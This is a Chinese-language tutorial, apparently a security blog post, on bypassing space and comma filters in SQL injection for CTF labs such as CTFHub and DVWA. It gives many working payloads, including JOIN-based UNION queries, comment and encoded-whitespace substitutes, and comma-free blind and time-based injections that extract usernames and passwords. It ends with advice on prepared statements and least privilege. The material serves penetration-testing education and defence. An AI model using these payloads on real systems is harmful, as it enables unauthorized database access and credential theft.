1. 项目概述:当SQL注入遇上字符过滤
在渗透测试和CTF比赛中,我们经常会遇到一些“加了料”的靶场或真实环境,它们为了增加难度或模拟初级防护,会对SQL注入语句中的特定字符进行过滤。其中,空格和逗号可以说是最常被“关照”的两个。空格用于分隔SQL关键字和子句,逗号则广泛用于函数参数分隔、LIMIT子句以及UNION SELECT的字段枚举。一旦这两个字符被过滤,很多新手可能会觉得无从下手,经典的注入语句直接“哑火”。但实际上,这种过滤往往只是增加了门槛,远未达到彻底防御的效果。今天,我就结合自己多年的实战和打靶经验,系统性地梳理一下当空格和逗号被过滤时,我们手里还有哪些“牌”可以打,以及这些绕过技巧背后的原理和适用场景。无论你是正在攻克CTFHub、DVWA、Pikachu靶场,还是研究MyBatis、Oracle等特定环境的注入,理解这些底层技巧都能让你事半功倍。
2. 核心绕过思路与原理拆解
在深入具体技巧之前,我们必须先建立一个核心认知:绕过过滤的本质是寻找功能等效的替代方案。WAF(Web应用防火墙)或简单的字符串过滤逻辑,通常是基于正则表达式匹配并替换或拦截特定的“危险字符串”,比如/\s+/匹配所有空白字符(包括空格、制表符、换行符),或者直接过滤逗号,。我们的目标就是构造出能实现相同SQL语义,但“长相”却不在黑名单里的payload。
2.1 空格过滤的绕过:不只是/**/
一提到绕过空格过滤,很多人第一反应就是使用注释符/**/。这确实是最经典、最有效的方法之一,因为/**/在SQL中是多行注释,但在此处被我们用作“填充物”,起到了分隔关键字的作用。例如,union select被过滤,可以写成union/**/select。但我们的武器库远不止于此。
原理层面,SQL解析器在解析语句时,需要分隔符来区分不同的词元(Token)。空格是最常见的分隔符,但并不是唯一的。任何能被解析器忽略的“空白”或具有分隔功能的字符都可以尝试。这包括了:
- 注释符:
/**/、/*!*/(内联注释,MySQL特有)。 - 其他空白字符:Tab键(
%09)、换行(%0a)、回车(%0d)。在URL编码中,这些字符有时能绕过简单的基于空格的过滤。 - 括号
():括号本身具有很高的语法优先级,也能起到分隔作用,尤其在函数调用或子查询中。 - 其他特殊符号:例如
+(在SQL中作为字符串连接符时,在某些数据库如MSSQL中,'sel'+'ect'可能被拼接成select,但更常用于绕过关键字过滤,间接解决空格问题)。
一个关键的注意事项是上下文。/**/在绝大多数情况下是可靠的,但在一些极端严格的过滤场景,或者某些数据库的特定版本中,连续的/**/也可能被加入黑名单。因此,掌握多种方法并灵活组合才是王道。
2.2 逗号过滤的绕过:重构语句逻辑
逗号在SQL注入中扮演着多个角色,因此它的绕过需要根据其出现的具体场景来针对性处理,主要分为三类:
- 函数参数分隔:如
substr(database(), 1, 2)中的逗号。 LIMIT子句:如limit 0,1。UNION SELECT字段枚举:如union select 1,2,3。
对于第1点和第2点,SQL标准或特定数据库提供了无需逗号的替代语法。对于第3点,我们则需要改变注入的整个思路,可能转向基于布尔或时间的盲注,或者在UNION注入时利用JOIN等技巧。
核心思路是:查阅官方文档,寻找功能相同但语法不同的表达方式。这要求我们对SQL语法有更深入的了解,而不仅仅是死记硬背payload。
3. 空格过滤的实战绕过技巧详解
下面我们进入实战环节,看看具体有哪些方法可以把被过滤的空格“变”回来。
3.1 注释符大法:/**/ 与 /!/
这是最直接的方法。用注释符代替所有空格位置。
-- 原始语句 union select 1,2,3 from admin -- 绕过后 union/**/select/**/1,2,3/**/from/**/admin在MySQL中,还可以使用内联注释/*!*/,其中的代码会被MySQL执行,但其他数据库可能视为普通注释。这有时可以绕过一些针对/**/的简单过滤。
union/*!50000select*/1,2,3这里的50000表示MySQL版本号大于等于5.00.00时才执行其中的语句,可用于版本条件判断,但作为空格替代时通常不写版本号或写一个很低的版本号如/*!0*/。
实操心得:在某些靶场(如一些CTF题目)中,可能会过滤
/**/中的/或*。这时可以尝试双重编码或大小写变形,如%2f%2a%2a%2f(URL编码)或/*\**/,但成功率取决于过滤逻辑的严谨程度。
3.2 利用空白符编码:Tab、换行与回车
当应用层过滤了空格字符(ASCII 32),但未考虑其他空白字符时,我们可以尝试:
- Tab (
%09):union%09select - 换行 (
%0a):union%0aselect - 回车 (
%0d):union%0dselect - 多个空格:有时过滤规则是
/\s+/,但只替换一次,用两个空格 可能绕过。或者使用%a0(HTML中的不换行空格),在某些解析环境下也能被当作分隔符。
这种方法在GET请求的URL参数中尝试较多,因为参数值通常会被URL解码后再送入SQL查询。在POST请求的Body中,也可以直接插入这些字符的原始字节。
3.3 括号的妙用
括号()在SQL中优先级极高,可以用来包裹参数或子查询,自然形成分隔。
- 在函数中:
select(user())from(admin)。这里from (admin)的写法是合法的,括号将表名包裹,与前面的函数形成了分隔。 - 在条件中:
or(1)=(1)。这等价于or 1=1。 - 结合
SELECT子查询:这是非常强大的一种技巧,尤其当union和select被分开过滤时。例如,需要union select 1,2,3,可以尝试:
或者更复杂地,利用union(select(1),(2),(3))SELECT语句本身可以返回结果集的特性:
这条语句通过?id=1 union select * from ((select 1)a join (select 2)b join (select 3)c)JOIN构造了一个包含三列的虚拟表,完全避免了在顶层SELECT后使用逗号。虽然引入了join关键字,但很多时候join并不在过滤名单中。
3.4 利用数学运算符或字符串连接符
在极少数情况下,甚至可以用+、-、||等符号来“粘合”语句,但这非常依赖于数据库类型和上下文。
- MSSQL:
'sel'+'ect'可以拼接成select,但这主要用于绕过关键字过滤。对于空格,可以尝试union+select(这里的+在URL中表示空格,但传入MSSQL后可能被解释为字符串连接,结果不可预测,需测试)。 - Oracle:
||是字符串连接符,同样主要用于关键字拆分。
这种方法风险较高,极易造成语法错误,通常作为最后的选择,并且需要配合大量测试。
4. 逗号过滤的针对性绕过方案
现在我们来攻克更棘手的逗号过滤。我们必须分场景讨论。
4.1 绕过函数参数中的逗号
常见于substr()、mid()、if()等函数。
substr()和mid()的from ... for语法:
这是SQL标准语法,在MySQL、PostgreSQL等数据库中普遍支持。-- 原语句 substr(database(), 1, 2) mid(database(), 1, 2) -- 绕过语句 substr(database() from 1 for 2) mid(database() from 1 for 2)from指定开始位置,for指定长度。limit的offset语法:-- 原语句 select * from users limit 0,1 -- 绕过语句 select * from users limit 1 offset 0limit 1 offset 0表示从第0条记录之后取1条记录,效果与limit 0,1完全相同。if()函数的替代:if(condition, value_if_true, value_if_false)被过滤时,可以使用case when语句。-- 原语句,用于时间盲注 if(ascii(substr(database(),1,1))>100, sleep(2), 0) -- 绕过语句 case when ascii(substr(database() from 1 for 1))>100 then sleep(2) else 0 endjoin绕过union select中的逗号:如前所述,当union select 1,2,3中的逗号被过滤时,可以尝试:
这里通过给每个子查询设置别名(a, b, c),然后用?id=-1 union select * from ((select 1) a join (select 2) b join (select 3) c)join将它们横向连接,形成了一个三列的临时结果集。union后面跟的是一个完整的select * from ...语句,完美避开了在select后直接列举字段。
4.2 绕过比较操作符与逗号的组合过滤
在盲注中,我们经常使用substr(database(),1,1) > 'a'这样的比较。如果比较符(>,<,=)和逗号同时被过滤,情况就复杂了。
- 使用
greatest()/least()函数绕过比较符:
如果-- 原语句:判断第一个字符的ASCII码是否大于64 ascii(substr(database(),1,1)) > 64 -- 绕过语句 greatest(ascii(substr(database() from 1 for 1)), 64) = 64greatest(值, 64)的结果等于64,说明第一个参数(我们的目标值)小于或等于64。如果想判断是否大于64,可以结合least()或使用> 64的逆否逻辑,但通常需要调整payload逻辑。 - 使用
in()或between and绕过等号=:
这对于过滤等号非常有效,但需要注意-- 原语句 id=1 -- 绕过 id in(1) id between 1 and 1in后面的括号里如果只有一个值,仍然需要逗号(虽然这里没有其他值),所以如果逗号被彻底过滤,in的单值用法也受限。between and则完全不需要逗号。 - 使用
like或regexp进行模糊匹配:在盲注中,可以逐位用like匹配字符。
这不需要等号,但通常需要配合substr(database() from 1 for 1) like 'a%' substr(database() from 1 for 1) regexp '^a'substr,而substr的逗号问题需要用from for解决。
4.3 无逗号盲注的终极方案:位运算与逻辑重构
当所有涉及逗号的函数和语法都被封死时,我们可能需要回归盲注的本质:通过布尔条件(真/假)或时间延迟来推断数据。这时,可以彻底抛弃substr,采用基于位运算的方法。
核心思想:任何一个字符(ASCII码)都可以用8位二进制表示(0-255)。我们可以通过多次查询,用位运算(&,|,>>,<<)来逐位判断其二进制值。
-- 假设我们要判断database()第一个字符的ASCII码 -- 判断第1位(最高位)是否为1 and (ascii(substr(database() from 1 for 1)) >> 7) & 1 = 1 -- 由于有逗号和比较符,需要改写。假设只能用 from for 和 greatest and greatest(ascii(substr(database() from 1 for 1)) >> 7, 1) = 1 -- 但>>优先级可能有问题,且仍有逗号。终极方案:使用十六进制和ord函数组合,但非常复杂。实际上,在如此严格的过滤下,手工构造payload极其困难,通常会借助自动化工具(如sqlmap的tamper脚本)来生成。但理解原理有助于我们编写自己的tamper脚本。
一个更可行的思路是利用make_set()或elt()函数(MySQL):
-- elt(n, str1, str2, ...): 返回第n个字符串。需要逗号。 -- make_set(bits, str1, str2, ...): 根据bits的二进制位返回对应的字符串组合。也需要逗号。当逗号被过滤时,这些函数也失效了。因此,在极端情况下,最稳健的方法是转向基于时间的盲注,并利用if()的case when替代和substr的from for语法,构造一个不含逗号的延时判断。虽然payload会变得冗长,但理论上是可行的。
5. 综合案例与实战演练
让我们结合几个常见靶场和场景,看看如何综合运用上述技巧。
5.1 案例一:CTFHub技能树之“过滤空格”
这类题目通常只过滤空格。我们的策略很直接,用/**/或%0a等替换所有空格即可。原注入点:?id=1 union select 1,2,database()过滤后:?id=1/**/union/**/select/**/1,2,database()如果/**/也被过滤,尝试%0a:?id=1%0aunion%0aselect%0a1,2,database()。或者使用括号:?id=1 union(select(1),(2),(database()))。
5.2 案例二:DVWA SQL Injection (Impossible) 的变种
假设一个变种关卡,过滤了空格和逗号。我们需要获取users表中的第一个用户名和密码。
- 判断注入点与列数:使用
order by判断列数时,order by 3中的逗号是数字的一部分,没问题。但order by本身需要空格,用/**/绕过:?id=1'/**/order/**/by/**/3#。 - 联合查询:
union select需要空格,用/**/。字段枚举的逗号是难点。我们可以使用join法。
成功联合后,确定回显点在2和3。?id=-1'/**/union/**/select/**/*/**/from/**/((select/**/1)a/**/join/**/(select/**/2)b/**/join/**/(select/**/3)c)# - 爆数据:我们需要从
users表查user和password。由于select后不能直接跟user,password(有逗号),我们需要再次借助join,或者使用子查询拼接。方法A(JOIN法):将两个字段分别放在不同的子查询中,然后join。但join默认是横向拼接(增加列),而我们需要的是将两个字段放在同一列回显?这需要调整思路。实际上,我们可以分别注入,一次爆一个字段。
这里-- 爆user字段 ?id=-1'/**/union/**/select/**/*/**/from/**/((select/**/user/**/from/**/users/**/limit/**/1/**/offset/**/0)a/**/join/**/(select/**/2)b)#limit 1 offset 0替代了limit 0,1。我们让user字段作为第一列,第二列固定为2(回显位)。这样在页面回显位置1就能看到用户名。方法B(CONCAT函数):如果concat函数可用且其参数内的逗号未被过滤(有时过滤是针对SQL语法层面的逗号,函数参数内的逗号规则可能不同,但通常一致),可以concat(user,0x3a,password),但这里仍有逗号。如果concat的逗号也被过滤,则concat不可用。方法C(双查询报错注入):如果报错注入可用,且updatexml或extractvalue函数的第二个参数(XPath)中的逗号可以用from for语法吗?不行,这两个函数的参数列表必须用逗号分隔,没有替代语法。所以报错注入在此场景下可能受阻。
踩坑记录:在一次内部攻防演练中,遇到一个过滤了空格、逗号和
union的环境。最终方案是使用基于时间的盲注,配合case when和substr() from for语法,并利用benchmark()或sleep()函数。Payload长得像天书,但最终成功跑出了管理员密码。工具(如sqlmap)在这种情况下往往不如手工构造灵活,因为需要自定义tamper脚本处理多重过滤。
5.3 案例三:绕过MyBatis中#{}的过滤
这是一个特殊的场景。MyBatis中#{}是预编译参数占位符,能有效防止SQL注入。但题目说“绕过MyBatis#号进行sql注入”,通常指的是开发错误地使用了${}(字符串拼接)而非#{},或者在某些动态SQL标签(如<if>、<foreach>)中,由于拼接不当引入了注入。此时,注入点的处理方式和普通注入一样,空格和逗号过滤的绕过技巧完全适用。关键在于找到那个使用${}的脆弱参数。
6. 防御视角与总结反思
从攻击中学习防御。了解了这么多绕过技巧,作为开发或安全人员,我们应该如何构建更坚固的防线?
- 永远使用预编译语句(Prepared Statements):这是唯一从根本上解决SQL注入的方法。无论是MyBatis的
#{}、JPA的命名参数,还是JDBC的?占位符,只要正确使用,攻击者输入的SQL语法永远不会被数据库引擎执行。上述所有绕过技巧在预编译面前都无效。 - 严格的输入验证与白名单:如果业务上某些参数只能是数字,那就用正则
/^\d+$/严格校验,非数字直接拒绝。对于表名、列名等,如果必须动态拼接,应使用白名单机制。 - 避免动态拼接SQL:这是万恶之源。尽量不要用字符串拼接的方式来构造SQL语句,尤其是在Java中拼接
where条件。 - WAF的局限性:本文讨论的很多技巧,恰恰说明了基于正则匹配的黑名单WAF很容易被绕过。WAF可以作为一道补充防线,但绝不能作为主要或唯一防线。
- 最小权限原则:数据库连接账户不应具有
DROP、FILE等高危权限,且只授予访问必要数据库和表的权限。这样即使发生注入,危害也能被限制。
回过头看,空格和逗号过滤的绕过,是一场关于SQL语法深度的博弈。攻击者不断寻找语法中的“等价替换”,而防御者则需要理解,真正的安全不是过滤几个字符,而是采用正确的编程范式。对于安全研究者而言,掌握这些技巧是为了更好地测试和加固系统;对于开发者而言,理解这些攻击手段则能时刻提醒自己写出更安全的代码。在实战中,面对过滤,保持冷静,系统性地尝试各种替代方案,从最简单的/**/开始,逐步深入到join、from for、位运算,你总能找到那条通往数据之路的缝隙。